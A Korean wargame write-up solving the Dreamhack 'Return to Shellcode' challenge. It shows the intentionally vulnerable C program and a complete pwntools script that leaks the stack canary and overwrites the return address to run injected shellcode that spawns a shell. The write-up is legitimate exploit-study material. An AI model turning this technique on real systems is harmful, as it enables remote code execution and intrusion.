Wargame - 시스템
Return to Shellcode
김가윤
2023. 5. 3. 17:47
풀이
기본 설정 확인
카나리가 설정되어 있고, 64비트
소스
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
코드를 실행해보면
buf의 주소와 buf와 rbp의 거리를 알려준다.
buf와 rbp의 거리가 96이고 buf의 크기는 0x50이지만
read 함수로 0x100만큼의 크기를 읽기 문에
버퍼 오버플로우 취약점 발생
이를 이용해서
카나리 값을 알아낼 수 있다.
우선 메모리 구조를 그리면
카나리는 실행 시 fs register로부터 랜덤 값을 받아
해당 값을 카나리로 사용한다.
카나리 값은 항상 맨 앞에 \x00이 포함된 8바이트 값이다.
\x00값을 덮어쓰면 카나리 값을 알아 수 있다.
read 함수의 입력값으로 89바이트를 입력하면
카나리 값의 맨 앞 부분인 NULL이 제거되면서
카나리 값을 출력한다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
context.arch = "amd64"
p = remote("host2.dreamhack.games", 19835)
# Get the buf address
p.recvuntil("Address of the buf: ")
buf = int(p.recv(14), 16)
print("buf: " + hex(buf))
# Canary leak
payload = b"A"*0x59
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recv(7))
print("Canary: " + hex(canary))
read 함수로 입력받은 후
gets 함수로 크기 제한 없이 입력을 한 번 더 받기 때문에
RET 부분도 조작이 가능하다.
gets 함수를 이용해 buf에
쉘코드 + 카나리 + buf 주소를 입력하면
쉘코드가 실행되게 할 수 있다.
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x58, b"A") + p64(canary) + b"B"*0x8 + p64(buf)
p.sendlineafter("Input: ", payload)
p.interactive()
전체 코드
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
context.arch = "amd64"
p = remote("host2.dreamhack.games", 19835)
# Get the buf address
p.recvuntil("Address of the buf: ")
buf = int(p.recv(14), 16)
print("buf: " + hex(buf))
# Canary leak
payload = b"A"*0x59
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recv(7))
print("Canary: " + hex(canary))
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x58, b"A") + p64(canary) + b"B"*0x8 + p64(buf)
p.sendlineafter("Input: ", payload)
p.interactive()
실행